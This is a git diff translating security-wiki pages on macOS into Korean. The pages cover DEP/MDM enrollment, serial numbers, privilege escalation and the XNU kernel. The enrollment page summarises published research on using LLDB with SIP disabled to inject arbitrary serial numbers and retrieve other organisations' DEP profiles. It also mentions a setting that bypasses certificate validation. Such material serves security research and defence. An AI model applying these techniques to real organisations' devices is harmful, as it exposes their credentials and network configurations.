활성화 기록을 가져오는 과정은 **`MCTeslaConfigurationFetcher`**에 의해 수행됩니다. 이 과정은 **Absinthe**라는 암호화를 사용합니다.
1. Retrieve **certificate**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Initialize** state from certificate (**`NACInit`**)
1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**)
3. Retrieve **session key**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Establish the session (**`NACKeyEstablishment`**)
5. Make the request
1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. The JSON payload is encrypted using Absinthe (**`NACSign`**)
3. All requests over HTTPs, built-in root certificates are used
1. **인증서 검색**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. 인증서에서 상태 **초기화** (**`NACInit`**)
1. 다양한 장치 특정 데이터 사용 (예: **일련 번호 via `IOKit`**)
3. **세션 키 검색**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. 세션 설정 (**`NACKeyEstablishment`**)
5. 요청하기
1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)로 데이터 `{ "action": "RequestProfileConfiguration", "sn": "" }` 전송
2. JSON 페이로드는 Absinthe로 암호화됩니다 (**`NACSign`**)
3. 모든 요청은 HTTPs를 통해 이루어지며, 내장된 루트 인증서가 사용됩니다.
![](<../../../images/image (566) (1).png>)
The response is a JSON dictionary with some important data like:
응답은 다음과 같은 중요한 데이터가 포함된 JSON 사전입니다:
- **url**: URL of the MDM vendor host for the activation profile
- **anchor-certs**: Array of DER certificates used as trusted anchors
- **url**: 활성화 프로파일을 위한 MDM 공급업체 호스트의 URL
- **anchor-certs**: 신뢰할 수 있는 앵커로 사용되는 DER 인증서 배열
### **Step 5: Profile Retrieval**
### **단계 5: 프로파일 검색**
![](<../../../images/image (444).png>)
- Request sent to **url provided in DEP profile**.
- **Anchor certificates** are used to **evaluate trust** if provided.
- Reminder: the **anchor_certs** property of the DEP profile
- **Request is a simple .plist** with device identification
- Examples: **UDID, OS version**.
- CMS-signed, DER-encoded
- Signed using the **device identity certificate (from APNS)**
- **Certificate chain** includes expired **Apple iPhone Device CA**
- **DEP 프로파일**에 제공된 **url**로 요청이 전송됩니다.
- 제공된 경우 **신뢰성 평가**를 위해 **앵커 인증서**가 사용됩니다.
- 알림: **DEP 프로파일의 anchor_certs** 속성
- **요청은 장치 식별이 포함된 간단한 .plist**입니다.
- 예: **UDID, OS 버전**.
- CMS 서명, DER 인코딩
- **장치 식별 인증서(APNS에서)**를 사용하여 서명됩니다.
- **인증서 체인**에는 만료된 **Apple iPhone Device CA**가 포함됩니다.
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Step 6: Profile Installation
### 단계 6: 프로파일 설치
- Once retrieved, **profile is stored on the system**
- This step begins automatically (if in **setup assistant**)
- Driven by **`CPInstallActivationProfile`**
- Implemented by mdmclient over XPC
- LaunchDaemon (as root) or LaunchAgent (as user), depending on context
- Configuration profiles have multiple payloads to install
- Framework has a plugin-based architecture for installing profiles
- Each payload type is associated with a plugin
- Can be XPC (in framework) or classic Cocoa (in ManagedClient.app)
- Example:
- Certificate Payloads use CertificateService.xpc
- 검색된 후, **프로파일은 시스템에 저장됩니다**.
- 이 단계는 자동으로 시작됩니다( **설정 도우미**에 있을 경우).
- **`CPInstallActivationProfile`**에 의해 구동됩니다.
- XPC를 통해 mdmclient에 의해 구현됩니다.
- LaunchDaemon (root로 실행) 또는 LaunchAgent (사용자로 실행), 상황에 따라 다름.
- 구성 프로파일은 설치할 여러 페이로드를 가집니다.
- 프레임워크는 프로파일 설치를 위한 플러그인 기반 아키텍처를 가지고 있습니다.
- 각 페이로드 유형은 플러그인과 연결되어 있습니다.
- XPC(프레임워크 내) 또는 클래식 Cocoa(ManagedClient.app)일 수 있습니다.
- :
- 인증서 페이로드는 CertificateService.xpc를 사용합니다.
Typically, **activation profile** provided by an MDM vendor will **include the following payloads**:
일반적으로 MDM 공급업체가 제공하는 **활성화 프로파일**은 다음 페이로드를 **포함합니다**:
- `com.apple.mdm`: to **enroll** the device in MDM
- `com.apple.security.scep`: to securely provide a **client certificate** to the device.
- `com.apple.security.pem`: to **install trusted CA certificates** to the devices System Keychain.
- Installing the MDM payload equivalent to **MDM check-in in the documentation**
- Payload **contains key properties**:
- - MDM Check-In URL (**`CheckInURL`**)
- MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it
- To install MDM payload, request is sent to **`CheckInURL`**
- Implemented in **`mdmclient`**
- MDM payload can depend on other payloads
- Allows **requests to be pinned to specific certificates**:
- Property: **`CheckInURLPinningCertificateUUIDs`**
- Property: **`ServerURLPinningCertificateUUIDs`**
- Delivered via PEM payload
- Allows device to be attributed with an identity certificate:
- Property: IdentityCertificateUUID
- Delivered via SCEP payload
- `com.apple.mdm`: 장치를 MDM에 **등록**하기 위해.
- `com.apple.security.scep`: 장치에 **클라이언트 인증서**를 안전하게 제공하기 위해.
- `com.apple.security.pem`: 장치의 시스템 키체인에 **신뢰할 수 있는 CA 인증서**를 설치하기 위해.
- MDM 페이로드 설치는 문서에서 **MDM 체크인**에 해당합니다.
- 페이로드는 **주요 속성**을 포함합니다:
- - MDM 체크인 URL (**`CheckInURL`**)
- MDM 명령 폴링 URL (**`ServerURL`**) + 이를 트리거하기 위한 APNs 주제
- MDM 페이로드를 설치하기 위해 **`CheckInURL`**로 요청이 전송됩니다.
- **`mdmclient`**에서 구현됩니다.
- MDM 페이로드는 다른 페이로드에 의존할 수 있습니다.
- 특정 인증서에 요청을 핀 고정할 수 있습니다:
- 속성: **`CheckInURLPinningCertificateUUIDs`**
- 속성: **`ServerURLPinningCertificateUUIDs`**
- PEM 페이로드를 통해 전달됩니다.
- 장치에 신원 인증서를 부여할 수 있습니다:
- 속성: IdentityCertificateUUID
- SCEP 페이로드를 통해 전달됩니다.
### **Step 7: Listening for MDM commands**
### **단계 7: MDM 명령 수신 대기**
- After MDM check-in is complete, vendor can **issue push notifications using APNs**
- Upon receipt, handled by **`mdmclient`**
- To poll for MDM commands, request is sent to ServerURL
- Makes use of previously installed MDM payload:
- **`ServerURLPinningCertificateUUIDs`** for pinning request
- **`IdentityCertificateUUID`** for TLS client certificate
- MDM 체크인이 완료된 후, 공급업체는 **APNs를 사용하여 푸시 알림을 발행할 수 있습니다**.
- 수신 시, **`mdmclient`**에 의해 처리됩니다.
- MDM 명령을 폴링하기 위해 요청이 ServerURL로 전송됩니다.
- 이전에 설치된 MDM 페이로드를 사용합니다:
- **`ServerURLPinningCertificateUUIDs`** 요청 핀 고정용
- **`IdentityCertificateUUID`** TLS 클라이언트 인증서용
## Attacks
## 공격
### Enrolling Devices in Other Organisations
### 다른 조직에 장치 등록하기
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected:
앞서 언급했듯이, 장치를 조직에 등록하려면 **해당 조직에 속하는 일련 번호만 필요합니다**. 장치가 등록되면 여러 조직이 새 장치에 민감한 데이터를 설치합니다: 인증서, 애플리케이션, WiFi 비밀번호, VPN 구성 [등등](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
따라서 등록 프로세스가 올바르게 보호되지 않으면 공격자에게 위험한 진입점이 될 수 있습니다:
{{#ref}}
enrolling-devices-in-other-organisations.md

View File

@ -1,53 +1,53 @@
# Enrolling Devices in Other Organisations
# 다른 조직에 장치 등록하기
{{#include ../../../banners/hacktricks-training.md}}
## Intro
## 소개
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
[**이전에 언급된 바와 같이**](./#what-is-mdm-mobile-device-management)**,** 장치를 조직에 등록하기 위해 **해당 조직에 속하는 일련 번호만 필요합니다**. 장치가 등록되면 여러 조직이 새로운 장치에 민감한 데이터를 설치합니다: 인증서, 애플리케이션, WiFi 비밀번호, VPN 구성 [등등](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
따라서 등록 프로세스가 올바르게 보호되지 않으면 공격자에게 위험한 진입점이 될 수 있습니다.
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!**
**다음은 연구의 요약입니다 [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). 추가 기술 세부정보를 확인하세요!**
## Overview of DEP and MDM Binary Analysis
## DEP 및 MDM 이진 분석 개요
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include:
이 연구는 macOS의 장치 등록 프로그램(DEP) 및 모바일 장치 관리(MDM)와 관련된 이진 파일을 다룹니다. 주요 구성 요소는 다음과 같습니다:
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4.
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later.
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles.
- **`mdmclient`**: MDM 서버와 통신하고 macOS 10.13.4 이전 버전에서 DEP 체크인을 트리거합니다.
- **`profiles`**: 구성 프로필을 관리하고 macOS 10.13.4 및 이후 버전에서 DEP 체크인을 트리거합니다.
- **`cloudconfigurationd`**: DEP API 통신을 관리하고 장치 등록 프로필을 검색합니다.
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC.
DEP 체크인은 개인 구성 프로필 프레임워크의 `CPFetchActivationRecord``CPGetActivationRecord` 기능을 사용하여 활성화 레코드를 가져오며, `CPFetchActivationRecord`는 XPC를 통해 `cloudconfigurationd`와 조정됩니다.
## Tesla Protocol and Absinthe Scheme Reverse Engineering
## 테슬라 프로토콜 및 앱신트 스킴 리버스 엔지니어링
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request.
DEP 체크인은 `cloudconfigurationd`가 암호화되고 서명된 JSON 페이로드를 _iprofiles.apple.com/macProfile_로 전송하는 것을 포함합니다. 페이로드에는 장치의 일련 번호와 "RequestProfileConfiguration" 작업이 포함됩니다. 사용된 암호화 스킴은 내부적으로 "Absinthe"라고 불립니다. 이 스킴을 풀어내는 것은 복잡하며 여러 단계를 포함하여 활성화 레코드 요청에 임의의 일련 번호를 삽입하는 대체 방법을 탐색하게 되었습니다.
## Proxying DEP Requests
## DEP 요청 프록시
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key.
Charles Proxy와 같은 도구를 사용하여 _iprofiles.apple.com_에 대한 DEP 요청을 가로채고 수정하려는 시도는 페이로드 암호화 및 SSL/TLS 보안 조치로 인해 방해받았습니다. 그러나 `MCCloudConfigAcceptAnyHTTPSCertificate` 구성을 활성화하면 서버 인증서 검증을 우회할 수 있지만, 페이로드의 암호화된 특성은 여전히 복호화 키 없이 일련 번호 수정을 방지합니다.
## Instrumenting System Binaries Interacting with DEP
## DEP와 상호작용하는 시스템 이진 파일 계측
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.
`cloudconfigurationd`와 같은 시스템 이진 파일을 계측하려면 macOS에서 시스템 무결성 보호(SIP)를 비활성화해야 합니다. SIP가 비활성화되면 LLDB와 같은 도구를 사용하여 시스템 프로세스에 연결하고 DEP API 상호작용에 사용되는 일련 번호를 수정할 수 있습니다. 이 방법은 권한 및 코드 서명의 복잡성을 피할 수 있어 선호됩니다.
**Exploiting Binary Instrumentation:**
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved:
**이진 계측 활용:**
`cloudconfigurationd`에서 JSON 직렬화 전에 DEP 요청 페이로드를 수정하는 것이 효과적임을 입증했습니다. 이 과정은 다음을 포함했습니다:
1. Attaching LLDB to `cloudconfigurationd`.
2. Locating the point where the system serial number is fetched.
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent.
1. `cloudconfigurationd`에 LLDB 연결.
2. 시스템 일련 번호가 검색되는 지점 찾기.
3. 페이로드가 암호화되고 전송되기 전에 메모리에 임의의 일련 번호 주입.
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability.
이 방법은 임의의 일련 번호에 대한 전체 DEP 프로필을 검색할 수 있게 하여 잠재적인 취약점을 보여주었습니다.
### Automating Instrumentation with Python
### Python을 통한 계측 자동화
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles.
이용 과정은 LLDB API를 사용하여 Python으로 자동화되어 임의의 일련 번호를 프로그래밍 방식으로 주입하고 해당 DEP 프로필을 검색할 수 있게 되었습니다.
### Potential Impacts of DEP and MDM Vulnerabilities
### DEP 및 MDM 취약점의 잠재적 영향
The research highlighted significant security concerns:
연구는 중요한 보안 문제를 강조했습니다:
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
1. **정보 유출**: DEP에 등록된 일련 번호를 제공함으로써 DEP 프로필에 포함된 민감한 조직 정보를 검색할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,40 @@
# macOS Serial Number
# macOS 일련 번호
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
2010년 이후의 Apple 기기는 **12자리 알파벳 숫자**로 구성된 일련 번호를 가지고 있으며, 각 세그먼트는 특정 정보를 전달합니다:
- **First 3 Characters**: Indicate the **manufacturing location**.
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
- **Last 4 Characters**: Specify the **model number**.
- **첫 3자리**: **제조 위치**를 나타냅니다.
- **4번째 및 5번째 문자**: **제조 연도 및 주**를 나타냅니다.
- **6번째에서 8번째 문자**: 각 기기에 대한 **고유 식별자** 역할을 합니다.
- **마지막 4자리**: **모델 번호**를 지정합니다.
For instance, the serial number **C02L13ECF8J2** follows this structure.
예를 들어, 일련 번호 **C02L13ECF8J2**는 이 구조를 따릅니다.
### **Manufacturing Locations (First 3 Characters)**
### **제조 위치 (첫 3자리)**
Certain codes represent specific factories:
특정 코드는 특정 공장을 나타냅니다:
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
- **RN**: Mexico.
- **CK**: Cork, Ireland.
- **VM**: Foxconn, Czech Republic.
- **SG/E**: Singapore.
- **MB**: Malaysia.
- **PT/CY**: Korea.
- **EE/QT/UV**: Taiwan.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
- **C0, C3, C7**: Specific cities in China.
- **RM**: Refurbished devices.
- **FC, F, XA/XB/QP/G8**: 미국의 다양한 위치.
- **RN**: 멕시코.
- **CK**: 아일랜드 코크.
- **VM**: 체코 공화국 폭스콘.
- **SG/E**: 싱가포르.
- **MB**: 말레이시아.
- **PT/CY**: 한국.
- **EE/QT/UV**: 대만.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: 중국의 다양한 위치.
- **C0, C3, C7**: 중국의 특정 도시.
- **RM**: 리퍼비시된 기기.
### **Year of Manufacturing (4th Character)**
### **제조 연도 (4번째 문자)**
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
이 문자는 'C' (2010년 상반기)를 나타내는 것부터 'Z' (2019년 하반기)까지 다양하며, 서로 다른 문자는 서로 다른 반년 기간을 나타냅니다.
### **Week of Manufacturing (5th Character)**
### **제조 주 (5번째 문자)**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
숫자 1-9는 주 1-9에 해당합니다. 문자 C-Y (모음과 'S' 제외)는 주 10-27을 나타냅니다. 연도의 하반기에는 이 숫자에 26이 추가됩니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,18 @@
# macOS Security & Privilege Escalation
# macOS 보안 및 권한 상승
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
## 기본 MacOS
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합니다:
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic MacOS
If you are not familiar with macOS, you should start learning the basics of macOS:
- Special macOS **files & permissions:**
- 특별한 macOS **파일 및 권한:**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Common macOS **users**
- 일반적인 macOS **사용자**
{{#ref}}
macos-users.md
@ -39,112 +24,97 @@ macos-users.md
macos-applefs.md
{{#endref}}
- The **architecture** of the k**ernel**
- k**ernel**의 **구조**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Common macOS n**etwork services & protocols**
- 일반적인 macOS n**etwork 서비스 및 프로토콜**
{{#ref}}
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- **오픈소스** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- `tar.gz`를 다운로드하려면 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)와 같은 URL을 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)로 변경하세요.
### MacOS MDM
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:
기업에서는 **macOS** 시스템이 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **그것이 어떻게 작동하는지** 아는 것이 흥미롭습니다:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspecting, Debugging and Fuzzing
### MacOS - 검사, 디버깅 및 퍼징
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Security Protections
## MacOS 보안 보호
{{#ref}}
macos-security-protections/
{{#endref}}
## Attack Surface
## 공격 표면
### File Permissions
### 파일 권한
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
This could occur in the following situations:
**루트로 실행되는 프로세스가** 사용자가 제어할 수 있는 파일에 쓰면, 사용자는 이를 악용하여 **권한을 상승시킬 수 있습니다**.\
이는 다음과 같은 상황에서 발생할 수 있습니다:
- File used was already created by a user (owned by the user)
- File used is writable by the user because of a group
- File used is inside a directory owned by the user (the user could create the file)
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)
- 사용자가 이미 생성한 파일(사용자 소유)
- 사용자가 그룹 때문에 쓸 수 있는 파일
- 사용자가 파일을 생성할 수 있는 사용자 소유의 디렉토리 내의 파일
- 루트 소유의 디렉토리 내의 파일이지만 사용자가 그룹 때문에 쓰기 권한이 있는 경우(사용자가 파일을 생성할 수 있음)
Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.
**루트에 의해 사용될** 파일을 **생성할 수 있는** 것은 사용자가 **그 내용**을 **이용하거나 심지어 다른 위치를 가리키는 **심볼릭 링크/하드 링크**를 생성할 수 있게 합니다.
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**:
이러한 종류의 취약점에 대해서는 **취약한 `.pkg` 설치 프로그램을 확인하는 것을 잊지 마세요**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### File Extension & URL scheme app handlers
### 파일 확장자 및 URL 스킴 앱 핸들러
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols
파일 확장자로 등록된 이상한 앱은 악용될 수 있으며, 특정 프로토콜을 열기 위해 다양한 애플리케이션이 등록될 수 있습니다.
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP Privilege Escalation
## macOS TCC / SIP 권한 상승
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others.
macOS에서 **애플리케이션과 바이너리는** 폴더나 설정에 접근할 수 있는 권한을 가질 수 있으며, 이는 다른 것들보다 더 특권을 부여합니다.
Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs).
따라서 macOS 기계를 성공적으로 침해하고자 하는 공격자는 **TCC 권한을 상승시켜야** 합니다(또는 필요에 따라 **SIP를 우회해야** 합니다).
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.
이러한 권한은 일반적으로 애플리케이션이 서명된 **권한**의 형태로 제공되거나, 애플리케이션이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그러한 권한을 가진 프로세스의 자식**이 되는 것입니다. 이 권한은 일반적으로 **상속**됩니다.
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses).
다음 링크를 따라 [**TCC에서 권한 상승하는 다양한 방법**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC 우회하기**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 확인하세요.
## macOS Traditional Privilege Escalation
## macOS 전통적인 권한 상승
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints:
물론 레드 팀의 관점에서 루트로 상승하는 것에도 관심이 있어야 합니다. 다음 게시물을 확인하여 몇 가지 힌트를 얻으세요:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
## macOS Compliance
## macOS 준수
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
## References
## 참고 문헌
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**OS X 사고 대응: 스크립팅 및 분석**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,69 +1,69 @@
# macOS Kernel & System Extensions
# macOS 커널 및 시스템 확장
{{#include ../../../banners/hacktricks-training.md}}
## XNU Kernel
## XNU 커널
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**.
**macOS의 핵심은 XNU**로, "X는 유닉스가 아니다"를 의미합니다. 이 커널은 기본적으로 **Mach 마이크로커널**(후에 논의될 예정)과 **버클리 소프트웨어 배포(BSD)**의 요소로 구성되어 있습니다. XNU는 **I/O Kit이라는 시스템을 통해 커널 드라이버를 위한 플랫폼을 제공합니다**. XNU 커널은 다윈 오픈 소스 프로젝트의 일부로, **소스 코드는 자유롭게 접근할 수 있습니다**.
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages.
보안 연구자나 유닉스 개발자의 관점에서 **macOS**는 **우아한 GUI와 다양한 맞춤형 애플리케이션을 갖춘 FreeBSD 시스템과 매우 유사하게 느껴질 수 있습니다**. BSD용으로 개발된 대부분의 애플리케이션은 수정 없이 macOS에서 컴파일되고 실행될 수 있으며, 유닉스 사용자에게 친숙한 명령줄 도구가 모두 macOS에 존재합니다. 그러나 XNU 커널이 Mach을 통합하고 있기 때문에 전통적인 유닉스 유사 시스템과 macOS 간에는 몇 가지 중요한 차이점이 있으며, 이러한 차이점은 잠재적인 문제를 일으키거나 독특한 이점을 제공할 수 있습니다.
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
XNU의 오픈 소스 버전: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**.
Mach**UNIX 호환**을 위해 설계된 **마이크로커널**입니다. 그 주요 설계 원칙 중 하나는 **커널** 공간에서 실행되는 **코드**의 양을 **최소화**하고 대신 파일 시스템, 네트워킹 및 I/O와 같은 많은 전형적인 커널 기능이 **사용자 수준 작업으로 실행되도록 허용하는 것이었습니다**.
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management.
XNU에서 Mach는 커널이 일반적으로 처리하는 많은 중요한 저수준 작업, 즉 프로세서 스케줄링, 멀티태스킹 및 가상 메모리 관리 등을 **책임집니다**.
### BSD
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including:
XNU **커널**은 또한 **FreeBSD** 프로젝트에서 파생된 상당량의 코드를 **포함합니다**. 이 코드는 **Mach와 함께 커널의 일부로 실행되며**, 동일한 주소 공간에서 작동합니다. 그러나 XNU 내의 FreeBSD 코드는 Mach과의 호환성을 보장하기 위해 수정이 필요했기 때문에 원래 FreeBSD 코드와 상당히 다를 수 있습니다. FreeBSD는 다음을 포함한 많은 커널 작업에 기여합니다:
- Process management
- Signal handling
- Basic security mechanisms, including user and group management
- System call infrastructure
- TCP/IP stack and sockets
- Firewall and packet filtering
- 프로세스 관리
- 신호 처리
- 사용자 및 그룹 관리 등 기본 보안 메커니즘
- 시스템 호출 인프라
- TCP/IP 스택 및 소켓
- 방화벽 및 패킷 필터링
